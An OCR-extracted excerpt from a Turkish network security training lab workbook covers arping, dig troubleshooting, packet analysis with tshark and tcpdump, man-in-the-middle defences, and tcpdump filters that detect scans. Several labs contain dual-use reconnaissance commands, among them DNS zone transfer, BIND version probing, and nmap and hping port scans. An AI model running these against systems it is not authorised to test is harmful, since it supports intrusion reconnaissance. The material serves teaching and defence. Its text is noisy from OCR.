001738 arpreply 192.168.2.20 is-at 00:1b:77:9b:cb:e2

Yukaridaki ciktida 192.168.2.20 ip adresiicin yapilan sorguya iki farkli mac adresi cevap

veriyor. Bu da agda IP cakismasinin oldugu manasina gelir.
Giivenlik duvar aktif edilmis yerel sistemlerin arpingile bulunmasi

Egitimlerimde Port Tarama kisminda katilimcilara sordugum meshur soru sudur: Bir
agda acik oldugunu bildiginiz fakat giivenlik duvari ile tamamen korunmus bir sistemin

acik oldugunu teknik olarka nasil ispatlarsiniz?

Busorunun cevabi genellikle ilgili makineye ulasmaya ¢alisiriz(ping vs) yada porttarama
yapariz oluyor. Fakat hostun iizerinde iizerinde bulunan giivenlik duvari herhangi bir

protokole izin vermedigi i¢cin bu yontemlerle hostun a¢ik olup olmadigini anlasilmaz.

Bunun tek yontemi 2. katmanda(OSI katmanlari) ilgili sistemin ac¢ik olup olmadigini
ogrenmektir. L2(Ikinci katman) denildiginde ise akla ilk gelen MAC adresleri ve ARP
oluyor. L2 seviyesinde bir sistemin canl olup olmadigini anlamak icin arping komutu

kullanilabilir.(Normal ping ve arp komutlariyla da ayni is yapilabilir)
#arping 192.168.2.1

komutu eger hedef sistem canli ise asagidaki gibi ¢ikt1 verecektir.

root@home-labs:~# arping 192.168.2.1
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ARPING 192.168.2.1 from 192.168.2.23 eth0
Unicast reply from 192.168.2.1 [00:1A:2A:A7:22:5C] 1.343ms
~ACSent 1 probes (1 broadcast(s))

Received 1 response(s)

Eger hedef sistem kapali ise asagidaki gibi ¢ikt1 verecektir.

root@home-labs:~# arping 192.168.2.111 -c1
ARPING 192.168.2.111 from 192.168.2.23 eth0
Sent 1 probes (1 broadcast(s))

Received 0 response(s)

Uygulama No: BGA-UAG-62

DNS Protokolunde Sorun Giderme — dig
Amag: dig kullanarak DNS prtokoliinde sorun giderme

Dig, nslookup ve hostgibi dns sorgulama araglari yerine kullanilabilen gelismis bir aractir.
ISC tarafindan gelistirilen BIND DNS sunucusuile birlikte gelistirilir ve uzunvadede Linux

dagitimlarinda nslookup komutunun yerini almasi beklenmektedir. Dig komutu domains

sorgulama icin calistirildiginda cevapla birlikte detay bilgiler de doner.

Bu detay bilgiler ek parametrelerle gizlenebilir.
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# dig www.lifeoverip.net

; <<>>DiG 9.3.3 <<>> www.lifeoverip.net

;; global options: printcmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47172

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:

;www lifeoverip.net. IN A

;; ANSWER SECTION:

www.lifeoverip.net. 14400 IN A 80.93.212.86

;; AUTHORITY SECTION:

lifeoverip.net. 30637 IN NS ns3.tekrom.com.
lifeoverip.net. 30637 IN NS ns4.tekrom.com.
;; ADDITIONAL SECTION:

ns4.tekrom.com. 91164 IN A 70.84.223.227
ns3.tekrom.com. 165971 IN A 70.84.223.226
;; Query time: 213 msec

;3 SERVER: 195.175.39.40#53(195.175.39.40)

;; WHEN: SatJan 24 10:56:14 2009

:» MSG SIZE rcvd: 130
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Ciktilarin Detay aciklamasi

Status:NOERROR

sorgulanan domain adinin var oldugunu ve bu domainden sorumlu dns sunucunun

sorgulara sagl

Domain ile ilgili ana DNS sunucularin bilgisinin olmadigin1 gésterir. Bu da ya o domain
yoktur ya da bazi sebeplerden dolay1root dns sunuculara yayinlanmamistir manasinada

cevap olarak NXDOMAIN denecektir.

; <<>>DiG 9.3.3 <<>> www.huzeyfe.net

;; global options: printcmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 8419

;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:

;www.huzeyfe.net. IN A

;; AUTHORITY SECTION:

net. 0 IN SOA a.gtld-servers.net. nstld.verisign-grs.com. 1232788241
1800900 604800 900

;; Query time: 119 msec
;; SERVER: 195.175.39.40#53(195.175.39.40)
;; WHEN: SatJan 24 11:02:25 2009

;» MSG SIZE rcvd: 106
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Soru Kismi

;; QUESTION SECTION:

;www lifeoverip.net. IN A

DNS sunucuya giden sorgu kismi.

Cevap Kismi

;; ANSWER SECTION:

www.lifeoverip.net. 14400 IN A 80.93.212.86
DNS sunucudan dénen cevap kismi.

;; AUTHORITY SECTION:

lifeoverip.net. 30637 IN NS  ns3.tekrom.com.
lifeoverip.net. 30637 IN NS  ns4.tekrom.com.
sorgulanan domainden sorumlu dns sunucu adresleri

;; ADDITIONAL SECTION:

ns4.tekrom.com. 91164 IN A 70.84.223.227

ns3.tekrom.com. 165971 IN A 70.84.223.226

Ek bilgiler.

;; Query time: 213 msec
Sorgulamanin ne kadar stirdiigi.

;; SERVER: 195.175.39.40#53(195.175.39.40)

sorgulanan dns sunucu
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;; WHEN: Sat Jan 24 10:56:14 2009 tarih

;; MSG SIZE revd: 130 boyut

Dns sorgularinin gectigi sunuculariizlemek(dns trace)

Dns lizerinden sorun yasadiginizi disiiniiyorsaniz sorunun kaynagini bulmak i¢in dns
trace cekilmesinde fayda var. DNs trace sorgulanan domaine ait tiim adimlari detayl bir
sekilde gosterir. Boylece sorunun hangi asamada hangi sunucudan kaynaklandigi

bulunabilir.

Asagidaki ¢ikti bir istemci tarafindan www.kou.edu.tr adresinin sorgulanmasi esnasinda
gidilen dns sunucularini ve onlarin dondiigii cevaplar1 gosterir. Goriilecegi tlizere ilk
olarak root serverlardan .tr uzantih adreslerin nerede tutuldugu bilgisi alin mistir.
Sonrasindabuadreslerdenbirine kou.edu.tr domaininden sorumlu DNS sunucu sorulmus
ve cevap alinmistir. Son olarak da www.kou.edu.tr domaini kou.edu.tr’den sorumlu dns

sunucuya sorularak islem tamamlanmigtir.

# dig +trace www.kou.edu.tr

; <<>>DiG 9.3.3 <<>> +trace www.kou.edu.tr

;; global options: printcmd
365519 IN NS  B.ROOT-SERVERS.NET.
365519 IN NS  C.ROOT-SERVERS.NET.
365519 IN NS  D.ROOT-SERVERS.NET.
365519 IN NS  E.ROOT-SERVERS.NET.
365519 IN NS  F.ROOT-SERVERS.NET.
365519 IN NS  G.ROOT-SERVERS.NET.

365519 IN NS H.ROOT-SERVERS.NET.
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365519 IN NS LROOT-SERVERS.NET.
365519 IN NS  ]J.ROOT-SERVERS.NET.
365519 IN NS K.ROOT-SERVERS.NET.
365519 IN NS L.ROOT-SERVERS.NET.
365519 IN NS M.ROOT-SERVERS.NET.
365519 IN NS  A.ROOT-SERVERS.NET.

;; Received 500 bytes from 193.254.252.30#53(193.254.252.30) in 1 ms

tr. 172800 IN NS NS2.NIC.tr.
tr. 172800 IN NS NS3.NIC.tr.
tr. 172800 IN NS NS4.NIC.tr.
tr. 172800 IN NS NS5.NIC.tr.
tr. 172800 IN NS NS-TR.RIPE.NET.
tr. 172800 IN NS NS1.NIC.tr.

;; Received 250 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 217 ms
kou.edu.tr. 43200 IN NS  ns.ulaknettr.

kou.edu.tr. 43200 IN NS  bim.kou.edu.tr.

;; Received 92 bytes from 144.122.95.52#53(NS2.NIC.tr) in 11 ms
www.kou.edu.tr. 3600 IN A 194.27.72.123

kou.edu.tr. 3600 IN NS bim.kou.edu.tr.

;; Received 82 bytes from 193.140.83.251#53(ns.ulak.net.tr) in 10 ms

digile recursive olmayan dns sorgulari

dig , ontanimli olarak recursive dns sorgulari gonderir. Eger non-recursive dns

sorgulamasi yaptirilmak istenirse +norec parametresi kullanilir.
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# dig +norec @195.175.39.40 www lifeoverip.net.uk

; <<>>DiG 9.3.3 <<>> +norec @195.175.39.40 www.lifeoverip.net.uk

; (1 server found)

;; global options: printcmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41339

;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 11, ADDITIONAL: 13
;; QUESTION SECTION:

;www lifeoverip.net.uk. IN A

;; AUTHORITY SECTION:

uk. 1981 IN NS ns7.nic.uk.
uk. 1981 IN NS nsc.nic.uk.
uk. 1981 IN NS nsd.nic.uk.
uk. 1981 IN NS nsb.nic.uk.
uk. 1981 IN NS nsa.nic.uk.
uk. 1981 IN NS ns2.nic.uk.
uk. 1981 IN NS  nsl.nicuk.
uk. 1981 IN NS nsé6.nic.uk.
uk. 1981 IN NS ns4.nic.uk.
uk. 1981 IN NS ns5.nic.uk.
uk. 1981 IN NS ns3.nic.uk.
;; ADDITIONAL SECTION:

ns5.nic.uk. 6790 IN A 213.246.167.131
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ns2.nic.uk. 6790 IN A 217.79.164.131
nsa.nic.uk. 6790 IN A 204.74.112.44
nsa.nic.uk. 28562 IN AAAA 2001:502:d399::44
nsd.nic.uk. 6790 IN A 199.7.67 .44
nsd.nic.uk. 158281 IN AAAA 2001:502:100e::44
ns4.nic.uk. 6790 IN A 194.83.244.131
ns6.nic.uk. 6790 IN A 213.248.254.130
nsc.nic.uk. 6790 IN A 199.7.66.44
ns3.nic.uk. 6790 IN A 213.219.13.131
nsb.nic.uk. 160677 IN A 204.74.113.44
nsl.nic.uk. 6790 IN A 195.66.240.130
ns7.nic.uk. 6790 IN A 212.121.40.130

;; Query time: 8 msec

;; SERVER: 195.175.39.40#53(195.175.39.40)

;; WHEN: SatJan 24 22:43:10 2009

;; MSG SIZE rcvd: 473

Dns sunucu versiyon Belirleme

DNS sunucu versiyon belirleme icin standart bir yéntem yoktur. Uzerinde Bind ¢ahisan
sistemler i¢in version.bind sorgusu ise yarar fakat baska dns sunuculari bu istege cevap

vermezler.

# dig @ns1.tekrom.com txt chaos version.bind

; <<>>DiG 9.3.3 <<>> @ns1.tekrom.com txt chaos version.bind
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; (1 server found)

;; global options: printcmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52098

;; flags: qr aard; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:

;version.bind. CH TXT
:» ANSWER SECTION:
version.bind. 0 CH TXT “9.3.4-P1”

;; AUTHORITY SECTION:

version.bind. 0 CH NS  version.bind.
;; Query time: 334 msec

;; SERVER: 70.84.223.230#53(70.84.223.230)

;; WHEN: Sat]Jan 24 22:44:28 2009

;» MSG SIZE rcvd: 65
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Dig ile Zone Transferi

dig araci kullanilarak zone transferine acik bir sunucudan ilgili domaine ait tiim bilgiler

edinilebilir.

# dig axfr huzeyfe.net @1.2.3.4

; <<>>DiG 9.3.3 <<>> axfr huzeyfe.net @mail lifeoverip.net
; (1 server found)

;; global options: printcmd

huzeyfe.net. 86400 IN SOA
2008100701 864007200 3600000 86400

nsl.gezginler.net.

huzeyfe.net. 14400 IN MX 0 huzeyfe.net.

huzeyfe.net. 86400 IN NS nsl.gezginler.net.

huzeyfe.net. 86400 IN NS ns1l.softlayer.com.

huzeyfe.net. 86400 IN NS  ns2.gezginler.net.

huzeyfe.net. 86400 IN NS  nsZ.softlayer.com.

huzeyfe.net. 14400 IN A 208.43.98.28
cpanelhuzeyfenet. 14400 IN A 208.43.98.28
ftp.huzeyfe.net. 14400 IN A 208.43.98.28
localhosthuzeyfe.net. 14400 IN A 127.0.0.1

mail.huzeyfe.net. 14400 IN CNAME huzeyfe.net.

webdisk.huzeyfe.net. 14400 IN A 208.43.98.28

webmail huzeyfe.net. 14400 IN A 208.43.98.28

whm.huzeyfe.net. 14400 IN A 208.43.98.28

www.huzeyfe.net. 14400 IN CNAME huzeyfe.net.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity

uyduruk.gmail.com.



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

huzeyfe.net. 86400 IN SOA nsl.gezginler.net. uyduruk.gmail.com.
2008100701 864007200 3600000 86400

;; Query time: 18 msec
;; SERVER: 80.93.212.86#53(80.93.212.86)
;; WHEN: Sat]an 24 11:01:31 2009

;; XFR size: 16 records (messages 1)

Degisken kaynakport ve XID degeri testi

Rekursif DNS sunucular baska dns sunuculardan istekde bulunurken kaynak port

numarasini degistirmeyebilirler. Bu, dns protokoliiniin kotiiye kullanilmasina sebep

olabilir. DNS sorgulamalar1 UDP iizerinden ¢alistigi icin IP spoofing yapmak kolaydir. Bu

sebeple dns protokoliiniin giivenligi kaynak port numarasi ve transaction ID

(XID) degiskenine baghdir. Bu iki degisken ne kadar kuvvetli olursa dns iizerinden

yapilacak cache poisoning tiirii ataklar o kadar basarisiz olacaktir.

Kaynak portdegeri yeterli derecede kuvvetli olan dns sunucunun verdigi cevap

# dig +short @195.175.39.40 porttest.dns-oarc.nettxt
porttesty.x.w.v.u.ts.r.q.p.o.nmlkj.ih.gfe.d.cb.a.pt.dns-oarcnet.

“195.175.39.228 is GREAT: 26 queries in 6.3 seconds from 26 ports with std dev 16123"

Kaynak port degeriyeterli derecede kuvvetli olmayan dns sunucunun verdigi cevap

# dig +short @vpn.lifeoverip.net porttest.dns-oarc.net txt
porttestyx.w.v.u.ts.r.q.p.o.nm.lkj.ih.gfe.d.cb.a.pt.dns-oarcnet.

“80.93.212.86 is POOR: 26 queries in 5.5 seconds from 1 ports with std dev 0"
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Dig ile sorgulama zamani (DNS yavaslik gostergersi)

DNSsorgularimizda yavaslk hissediyorsaniz bunu dig komutunun ¢iktisindaki Query time

degerinden 6grenebilirsiniz. Ayni adresi farkl iki dns sunucuya sorgulatip “Query time

“degerleri kontrol edilerek hangisinin daha hizli cevap verdigi 6grenilebilir.
;; Query time: 4131 msec

Yavas bir dns sunucu

# dig @4.2.2.1 www.bilgiguvenligi.org

; <<>>DiG 9.3.3 <<>> @4.2.2.1 www.bilgiguvenligi.org

; (1 server found)

;; global options: printcmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59504

;; flags: qrrd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; Query time: 256 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: SatJan 24 23:00:40 2009

;; MSG SIZE rcvd: 56
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Hizl1 bir DNS sunucu

# dig @195.175.39.40 www.bilgiguvenligi.org

; <<>>DiG 9.3.3 <<>> @195.175.39.40 www.bilgiguvenligi.org
; (1 server found)

;; global options: printcmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46228

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

,; Query time: 8 msec
;3 SERVER: 195.175.39.40#53(195.175.39.40)
;; WHEN: Sat]Jan 24 23:00:27 2009

;3 MSG SIZE rcvd: 136
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Uygulama No: BGA-UAG-63

Thsarkile TCP/IP Paket Analizi

Amag: Tsharkaraci kullanilarak TCP/IP Paket Analizi

Tshark, gticlii bir ag protokolleri analiz programidir. Tshark komut satirindan ¢alisir ve

yine bir ag trafik analiz programi olan Wireshark’da bulunan ¢ogu 6zelligi destekler.
Komut satirindan ¢alisan ve cok bilinen diger bir trafik analiz araci da tcpdump’dir.

Tshark ile tcpdump’in ayrildig1 en belirgin nokta Tshark’in trafik analizinde protokolleri
taniyabilmesi ve bunlar1 detayll bir sekilde gosterebilmesidir. Asagida verecegim

orneklerde

protokol tanimanin ne manaya geldigi daha iyi anlasilacaktir. Kisisel olarak Tshark’

imkanim oldugu ortamlarda tcpdump’a tercih ediyorum.
Buikili, networking konulariile ilgilenen herkesin a-z'ye bilmesinde fayda olan araglardir.
Basit Tshark Kullanim

tshark, cesitli islevleri olan bir siirti parametreye sahiptir. Eger herhangi bir paramnetre
kullanmadan calistirilirsa ilk aktif ag arabirimi tizerinden gegen trafigi yakalayip ekrana

basar.

home-labs ~ # tshark

Running as user “root” and group “root”. This could be dangerous.
Capturing on eth0

0.000000 192.168.2.23 -> 80.93.212.86 ICMP Echo (ping) request
0.01264180.93.212.86 -> 192.168.2.23 ICMP Echo (ping) reply

0.165214 192.168.2.23 -> 192.168.2.22 SSH Encrypted request packetlen=52
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0.165444 192.168.2.22 -> 192.168.2.23 SSH Encrypted response packetlen=52

0.360152 192.168.2.23 -> 192.168.2.22 TCP pcia-rxp-b > ssh [ACK] Seq=53
Ack=53 Win=59896 Len=0

0.612504 192.168.2.22 -> 192.168.2.23 SSH Encrypted response packetlen=116
1.000702 192.168.2.23 -> 80.93.212.86 ICMP Echo (ping) request
1.01376180.93.212.86 -> 192.168.2.23 ICMP Echo (ping) reply
1.057335192.168.2.23 -> 192.168.2.22 SSH Encrypted request packetlen=52

16 packets captured

Eger ciktilarin ekrana degil de sonradan analiz icin bir dosyaya yazdirilmasi isteniyorsa

-w dosya_ismi parametresi kullanilir.

# tshark -w home_labs.pcap
Running as user “root” and group “root”. This could be dangerous.
Capturing on ethO

24

Gerektiginde home_labs.pcap dosyasi libpcap destekli herhangi bir analiz program

tarafindan okunabilir. tshark ya da tcpdump ile kaydedilen dosyadan paket okumak
icin -r parametresi kullanilir.
Arabirim Belirtme

Istediginiz arabirim iizerinden dinleme yapilmas istenirse -i arabirim_ismi parametresi

kullanilir.
#itshark -i eth12

gibi. -n parametresiile de hostisimlerinin ve servis isimlerinin ¢6ziilmemesi saglanir.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

Detayli Paket Ciktisi

Paketleri ekrandan izlerken ilgili protokole ait tiim detaylar1 gormek icin -V parametresi

kullanilabilir.

Mesela udp 53(DNS) paketlerini detayh ¢iktisini incelyelim.

home-labs#thsark -i ethO udp port 53

Frame 2 (100 bytes on wire, 100 bytes captured)

Arrival Time: Jan 17,2009 11:54:34.174323000

[Time delta from previous captured frame: 0.001332000 seconds]
[Time delta from previous displayed frame: 0.001332000 seconds]
[Time since reference or first frame: 0.001332000 seconds]
Frame Number: 2

Frame Length: 100 bytes

Capture Length: 100 bytes

[Frame is marked: False]

[Protocols in frame: eth:ip:udp:dns]

Ethernet II, Src: Arcadyan_a7:22:5c¢ (00:1a:2a:a7:22:5c), Dst: Giga-Byt_5a:1b:96
(00:1f:d0:5a:1b:96)

Destination: Giga-Byt_5a:1b:96 (00:1f:d0:5a:1b:96)
Address: Giga-Byt_5a:1b:96 (00:1f:d0:5a:1b:96)
....... 0.....ce ewe ... =IG bit: Individual address (unicast)
..0. et vess wee ... = LG bit: Globally unique address (factory default)

Source: Arcadyan_a7:22:5c¢ (00:1a:2a:a7:22:5c)
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Address: Arcadyan_a7:22:5c (00:1a:2a:a7:22:5c¢)
....... 0.....ce ewe ... =1G bit: Individual address (unicast)

0. cees vt veee ... = LG bit: Globally unique address (factory default)
Type: IP (0x0800)

Internet Protocol, Src: 192.168.2.1 (192.168.2.1), Dst: 192.168.2.23
(192.168.2.23)

Version: 4

Header length: 20 bytes

Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.....0. = ECN-Capable Transport (ECT): 0

....... 0=ECN-CE: 0

Total Length: 86

Identification: 0x0000 (0)

Flags: 0x04 (Don’t Fragment)

0...= Reserved bit: Notset

.1..= Don’tfragment: Set

.0. = More fragments: Not set

Fragment offset: 0

Time to live: 64

Protocol: UDP (0x11)

Header checksum: 0xb52e [correct]
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[Good: True]

[Bad : False]

Source: 192.168.2.1 (192.168.2.1)
Destination: 192.168.2.23 (192.168.2.23)
User Datagram Protocol, Src Port: domain (53), Dst Port: blueberry-lm (1432)
Source port: domain (53)

Destination port: blueberry-lm (1432)
Length: 66

Checksum: 0x2a35 [correct]

[Good Checksum: True]

[Bad Checksum: False]

Domain Name System (response)
[RequestIn: 1]

[Time: 0.001332000 seconds]
Transaction ID: 0x0001

Flags: 0x8100 (Standard query response, No error)

1o = Response: Message is a response

.0000... ... ... = Opcode: Standard query (0)
...0.. .... ... = Authoritative: Server is notan authority for domain
..0. .... ... = Truncated: Message is not truncated

....... 1....... =Recursion desired: Do query recursively
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U O J = Recursion available: Server can’t do recursive queries
e .0.. ... =Z: reserved (0)

.0. ... = Answer authenticated: Answer/authority portion was not

authenticated by the server

cese v ... 0000 = Reply code: No error (0)
Questions: 1

Answer RRs: 1

Authority RRs: 0

Additional RRs: 0

Queries

1.2.168.192.in-addr.arpa: type PTR, class IN
Name: 1.2.168.192.in-addr.arpa

Type: PTR (Domain name pointer)

Class: IN (0x0001)

Answers

1.2.168.192.in-addr.arpa: type PTR, class IN, RT
Name: 1.2.168.192.in-addr.arpa

Type: PTR (Domain name pointer)

Class: IN (0x0001)

Time to live: 2 hours, 46 minutes, 40 seconds
Data length: 4

Domain name: RT
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Benzer bir paketin tcpdump ile goriintiisii asagidaki gibi olacaktir. Her iki ciktidan da

goriilecegi gibi Tshark ile protokol ve katmanlara ait tiim detaylar ¢6ziimlenirken

tcpdump’da sadece 6zet bilgiler yer alir.

# tcpdump -i ethO -n udp port53 -vv
tcpdump: listening on ethO, link-type EN10MB (Ethernet), capture size 96 bytes

11:57:12.096474 IP (tos 0x0, ttl 128, id 21291, offset 0, flags [none], proto UDP
(17), length 59) 192.168.2.23.1446 > 192.168.2.1.53: [udp sum ok] 2+ A?

www.linux.com. (31)

11:57:12.820246 IP (tos 0xO0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17),
length 215) 192.168.2.1.53 > 192.168.2.23.1446: 2 q: A? www.linux.com. 2/3/3

www.linux.com. CNAME linux.com., linux.com.[|domain]

Tshark’da Filtreler

Tshark ayn1 Wireshark’da oldugu gibi iki cesit filtreleme 6zelligine sahiptir. Bunlardan

biri trafik yakalama esnasinda kullanilan ve tcpdump ile hemen hemen ayni

ozelliklere(Berkley Paket Filter) sahip olan capture filter, digeri de yakalanan trafik

lizerinde detayli analiz yapmaya yarayan Display filter dir.
Display filterlar ayni zamanda paket yakalama esnasinda da kullanilabilir.

Display filter Kavrami

Display filter 0Ozelligi ile Tshark c¢oziimleyebildigi protokollere ait tiim detaylari

gosterebilir ve sadece bu detaylara ait paketleri yakalamaya yardimci olur. Mesela

amacimiz tim dns trafigi degil de dns trafigi icerisinde sadece www.lifeoverip.net

domainine ait sorgulamalari yakalamak istersek asagidaki gibi bir filtreleme isimize

yarayacaktir.

Note: Display Filter icin -R ‘filtreleme detay1’ secenegi kullanilir.
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# tshark -i ethO -n -R ‘dns.qry.name==www lifeoverip.net’
Running as user “root” and group “root”. This could be dangerous.
Capturing on eth0

11467730 192.168.2.23 -> 192.168.2.1 DNS Standard query A

www.lifeoverip.net

13.467968 192.168.2.23 -> 192.168.2.1 DNS Standard query A

www.lifeoverip.net

17936486 192.168.2.23 -> 192.168.2.1 DNS Standard query A

www.lifeoverip.net

17.938038 192.168.2.1 -> 192.168.2.23 DNS Standard query response A
80.93.212.86

Boylece normal snifferlarda sadece udp 53'u dinleyerek bulmaya calistigimiz detaylar

Tshark ile kolayca belirtilebiliyor.
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Uygulama No: BGA-UAG-64

MiTM Saldinlarini Cift YonlG Engelleme

Amag: Iki yonlii ortadaki adam saldirilarini engelleme uygulamasi

Mitm(Man in the middle)-ortadaki adam saldirisi TCP/IP aglarda uygulanan ve basari

orani oldukca yuksek bir saldiri tipidir.,

Ag guvenligi konusunda kulaktan dolma bilgisi olanlarin bile hakkinda bilgi sahibi oldugu
bu saldiri tipi hep bilinip hic koruma alinmayan saldiri tiplerinin de en iyi ornegi.Konu
hakkinda cesitli koruma yontemleri ele aliniyor fakat hemen hemen hepsi bir yerde

etkisiz kalabiliyor(Switch seviyesinde alinmayan onlemler).

Bu tip araya girip veri calma/degistirme saldirilarinin basarisi saldirganin hedef sistem
ile sizin sisteminizin iletisimi esnasinda(baslangicinda, ortasinda vs) araya giren
birilerinin kendilerini hedef sistemmis gibi gosterebilmesidir. L2 seviyesinde trafigi
uzerine alan biri bilgi ve becerileri seviyesinde trafik uzerinde her tur islemi yapabilir.
Buna “https” trafigi ve cesitli sistemlere login olurken kullanilan OTP(one time password)
sistemler de dahil. Zira trafik uzerimizden akiyordur ve %100 mudahele imkanimiz

vardir.

Bugune kadar bu tip basit ama hala onemini koruyan saldiri tiplerine karsi koruma
yontemi olarak genelde statik ARP kayitlari kullanilmasi oneriliyor. Yani hedef
sistem(genelde router)in MAC adresini kendi sisteminize sabit ve degistirilemez olarak

girmek.

Bu yontem bir dereceye kadar koruma saglayabilir ama saldirgan biraz kafayi calistirip
sizin sisteminiz ile Router/Gateway arasina degil de Gateway/Router ile sizin araniza
girerse devre disi kalir. Yani kulagini duz tutmak yerine tersinden tutarsa sizin aldiginiz

onlem ise yaramayacaktir.

Sizin sisteminizden cikan trafik dogrudan Router’a gidecektir oradan da hedefine fakat
donen trafik Router’a ordan da araya girmis olan saldirgana, saldirgandan sonra da sizin

sisteminize dogru gidecektir. Yani gidis paketleri uzerinde degil ama donus paketleri
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uzerinde tam bir hakimiyet soz konusu. Yine kafasini calistiran bir saldirgan bunu

kullanarak istedigi bilgiyi alabilir ve degistirebilir.

Korunma icin her iki sistemde de statik MAC adresleri kullanmak gerekebilir. Fakat DHCP
calistiran aglarda ip-mac sabitlemesi pek mumkun degildir(lease surelerini cok uzun
tutarak ya da dhpc’den mac adresine gore ip atamasi yapilabilir). Dolayisiile cozum yine

donanim seviyesinde cozmeye kaliyor.

Uygulama No: BGA-UAG-65

Tcpdump Aracininin Saldiri ve Anormallik Tespit Amacli Kullanimi

Amag: tcpdump araci kullanilarak paketlerin detayll olarak incelenmesi ve saldir
girisimlerinin tespit edilmesi

Tcpdump basit bir paket yakalama aracidir fakat TCP/IP’ye hakim bir g6z tcpdump ve
sagladig1 gelismis filtreleme 6zelliklerini kullanararak ortamdaki anormal paketleri bir
IDS gibi belirleyebilir. Mesela Nmap tarafindan yapilan ¢ogu tarama tcpdump ile
yakalanabilir, ya da isletim sistemi saptama programlari, firewallking deneyimleri vs

tcpdump’in gelismis filtreleme 6zellikleri ile kolaylikla tanimlanabilir.

Mesela LAND atagini( hedefip ve kaynak ipsi ayni olan paketler) yakalamak icin asagidaki
gibi bir filtrel ise yarayacaktir.

#tcpdump ‘ip[12:4] = ip[16:4]°
TTL Degeri 2’den az olan paketleri Yakalama(traceroute vs)
# tcpdump -i ste0 ‘ip[8] < 2’

Benzer sekilde bu tip gelismis filtrelere kullanilarak port tarama araclarinin yaptigi

taramalar/tarama turleri kolaylikla belirlenebilir.
Tcpdump kullanarak Port Tarama Araglarini Belirleme

Port tarama araclarinin kendilerine 6zgl imzalar1 vardir. NIDS gibi sistemler tarama
yapan araglar1 bu imzalarindan taniyarak alarm iiretirler. Bu imzalar neler olabilir;
mesela nmap porttarama yaparken kaynak portlarini sabit tutar, hping ise birer arttirr,
nmap’in gonderdigi paketlerin window size'i(-sS icin 2048 gibi) normal uretilen

paketlerden farklidir.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

Nmap ile porttarama:

# nmap -PO -sSlocalhost -p 23-26

Starting Nmap 4.20 ( http://insecure.org) at 2008-01-09 18:13 CST
Interesting ports on localhost (127.0.0.1):

PORT STATE SERVICE

23/tcp closed telnet

24 /tcp closed priv-mail

25/tcp closed smtp

Nmap finished: 1 IP address (1 hostup) scanned in 0.047 seconds

Tcpdump ciktisi:

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes

IP 127.0.0.1.38083 > 127.0.0.1.25: S 2234071620:2234071620(0) win 2048 <mss 1460>
IP 127.0.0.1.25 > 127.0.0.1.38083: R 0:0(0) ack 2234071621 win 0

[P 127.0.0.1.38083 >127.0.0.1.23: S 2234071620:2234071620 (0) win 1024 <mss 1460>
IP 127.0.0.1.23 > 127.0.0.1.38083: R 0:0(0) ack 2234071621 win 0

IP 127.0.0.1.38083 > 127.0.0.1.26: S 2234071620:2234071620(0) win 2048 <mss 1460>
IP 127.0.0.1.26 > 127.0.0.1.38083: R 0:0(0) ack 2234071621 win 0

[P 127.0.0.1.38083 > 127.0.0.1.24: S 2234071620:2234071620(0) win 2048 <mss 1460>

IP 127.0.0.1.24 > 127.0.0.1.38083: R 0:0(0) ack 2234071621 win 0
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Hping ile paket uretme

# hping -S localhost-p 23

HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes
Tcpdump ciktisi:

18:17:19.060455 IP 127.0.0.1.2599 > 127.0.0.1.23: S 1381047247:1381047247(0) win
512

18:17:19.060866 1P 127.0.0.1.23 > 127.0.0.1.2599: R 0:0(0) ack 1381047248 win 0

18:17:20.063012 IP 127.0.0.1.2600 > 127.0.0.1.23: S 1620447159:1620447159(0) win
512

18:17:20.063037 1P 127.0.0.1.23 >127.0.0.1.2600: R 0:0(0) ack 1620447160 win 0

tcpdump ciktisindaki kaynak port numaralariizlenirse birer arttigi gozlenebilir.

Hping ile port taramasi:

# hping -scan 23-25 localhost

Scanning localhost (127.0.0.1), port 23-25
3 ports to scan, use -V to see all the replies
-t — 4
|port| servname | flags |ttl| id | win | len |
-t ——+——+
All replies received. Done.
Notresponding ports:

tcpdump ciktisi:

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
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listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
18:10:30.009583 IP localhost.2072 >localhost.telnet: . win 512

18:10:30.011191 IP localhost.telnet >localhost.2072: R 0:0(0) ack 618773858 win 0
18:10:30.011803 IP localhost.2072 >localhost.24:.win 512

18:10:30.012269 IP localhost.24 > localhost.2072: R 0:0(0) ack 665490122 win 0
18:10:30.012899 IP localhost.2072 > localhost.smtp: . win 512

